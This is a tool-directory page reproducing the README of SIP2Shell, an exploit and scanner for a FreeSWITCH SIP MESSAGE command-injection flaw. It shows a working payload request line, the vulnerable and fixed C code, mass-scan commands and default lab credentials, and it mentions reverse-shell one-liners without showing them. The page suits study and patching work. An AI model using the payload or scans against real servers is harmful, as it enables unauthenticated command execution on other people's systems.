Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SIP2Shell — One SIP text message to FreeSWITCH, and you are running commands. Exploit, scanner and a real vulnerable/patched Docker lab for CVE-2026-116779. | Kitploit
Tools/GitHubGitHub/deathshotxd/sip2shell
Vulnerability ScannersExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingRed TeamingRemote Access ToolLabs & Practice
GitHubdeathshotxd/sip2shell

SIP2Shell

2973 days agoNot yet reviewed

One SIP text message to FreeSWITCH, and you are running commands. Exploit, scanner and a real vulnerable/patched Docker lab for CVE-2026-116779.

View Repository
Share

SIP2Shell

CVE-2026-116779 CVSS 9.8 critical CISA KEV Python 3.8+ 12 tests passing MIT license GitHub stars

FreeSWITCH will run a command for you if you ask it in a text message.

CVE-2026-116779 is a small mistake with a big blast radius. When a SIP MESSAGE comes in, FreeSWITCH takes the To address, splits it on the first +, and treats the left half as the name of a chat protocol. Whatever follows the + goes to that protocol's handler. One of the registered handlers is called api, and it hands its input straight to switch_api_execute().

So this is not a user:

MESSAGE sip:api+system%20id@target SIP/2.0

It is system id, run by the daemon. The reply comes back as another MESSAGE, and because the chat layer is queued, a 202 only means "accepted" - you need the output to know it actually ran.

SIP2Shell logo: a hooded figure on a payphone, red and bone on black


What is SIP2Shell?

SIP2Shell is the tool I wanted while digging into this. One Python file, no dependencies, no telnet(1), no proxy in the middle. It checks whether a host is old enough to care, runs a command if it is, and gives you the output. scan does it in bulk, shell gives you a prompt, rev fires reverse-shell one-liners.

What one command buys you: system, originate, sofia status, xml_locate, module_load, lua


The bug is not a memory corruption. It is a missing allow-list on a chat protocol name. That is why a single UDP packet is enough.


SIP2Shell - one message, root. A hooded operator on a payphone beside a FreeSWITCH terminal

Why this matters

  • Unauthenticated, pre-auth. A single UDP packet runs commands.
  • In the wild and KEV. CISA added it on 2026-11-09; the vendor confirmed exploitation.
  • Mass reachable. Bitsight counted roughly 13,600 exposed FreeSWITCH instances in November 2026, and the overwhelming majority were still pre-1.11.3. SIP on 5060 is everywhere, on telco and VPS alike.
  • Broad impact. Command execution, and from there config and credential disclosure, arbitrary call control (originate), module load, or inline Lua via mod_lua.

Demo

SIP2Shell probe and exploit against the 1.10.12 lab container

A real run against the included 1.10.12 container: probe reads the version, then exploit runs id, hostname, and uname -sr. The GIF is rendered from the captured terminal output, not from a mock; scripts/make_demo.py holds the exact lines.

How the bug works

Attack chain: SIP MESSAGE to sofia presence to api chat proto to switch_api_execute to a shell

sofia_presence_handle_sip_i_message() reads the To user, cuts at the first +, and treats the left side as a protocol name:

/* sofia_presence.c */
if ((p = strchr(to_user, '+')) && p != to_user) {
    switch_copy_string(proto, to_user, sizeof(proto));   /* char proto[512] */
    p = strchr(proto, '+');
    *p++ = '\0';
    ...
}
switch_core_chat_send(proto, event);

The dispatch table in mod_dptools includes jingle, event, and api. The api entry is the dangerous one:

/* mod_dptools.c */
static switch_status_t api_chat_send(switch_event_t *message_event)
{
    ...
    switch_url_decode(cmd);
    if ((arg = strchr(cmd, ' '))) *arg++ = '\0';
    SWITCH_STANDARD_STREAM(stream);
    switch_api_execute(cmd, arg, NULL, &stream);
    if (proto)
        switch_core_chat_send_args(proto, "api", to, from,
                                   ..., stream.data, ...);
}

switch_api_execute() is the same dispatcher fs_cli and the event socket run. system is a stock API that passes its argument to the shell, so the whole OS is reachable. stream.data carries the output back to the sender - that is the read-back channel SIP2Shell uses.

The fix adds exactly this, before anything is dispatched:

if (!strcasecmp(proto, "api") &&
    !sofia_test_pflag(profile, PFLAG_ENABLE_CHAT_API_PROTO)) {
    nua_respond(nh, SIP_403_FORBIDDEN, ...);
    return;
}

strcasecmp because the chat registry is case-insensitive; the parameter is commented out in the stock profiles. Details and the wire trace are in docs/WRITEUP.md.

Affected

Status codes: 202 vulnerable, 403 patched, 401/407 auth wall, no answer

ProductSignalWire FreeSWITCH (mod_sofia inbound MESSAGE)
Versions< 1.11.3 on the stock internal / external profiles
Fixed1.11.3 - a new enable-chat-api-proto gate, off by default
CVE / CVSSCVE-2026-116779 / GHSA-mg63-h38w-8p9p - 9.8
StatusCISA KEV, exploited in the wild
Gateenable-chat-api-proto is commented out in the stock profiles

A patched box answers a MESSAGE to api+ with 403. A vulnerable box answers 202 and runs the command. A profile that keeps MESSAGE auth answers 401 or 407; pass credentials with --user / --password and the digest exchange is handled. Stock FreeSWITCH ships users 1000-1019 with password 1234 in the default directory, which is why a lot of lab and default installs answer without credentials.

Install

git clone https://github.com/DeathShotXD/SIP2Shell.git
cd SIP2Shell
python3 sip2shell.py --help

Python 3.8+, standard library only. Nothing to install.

Usage

Mass scan (UDP by default; --tcp for TCP SIP)

# find vulnerable hosts; 202 = vulnerable, 403 = patched, 401/407 = auth-walled
python3 sip2shell.py scan -f hosts.txt --threads 64
python3 sip2shell.py scan -f hosts.txt --json -o out.json
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →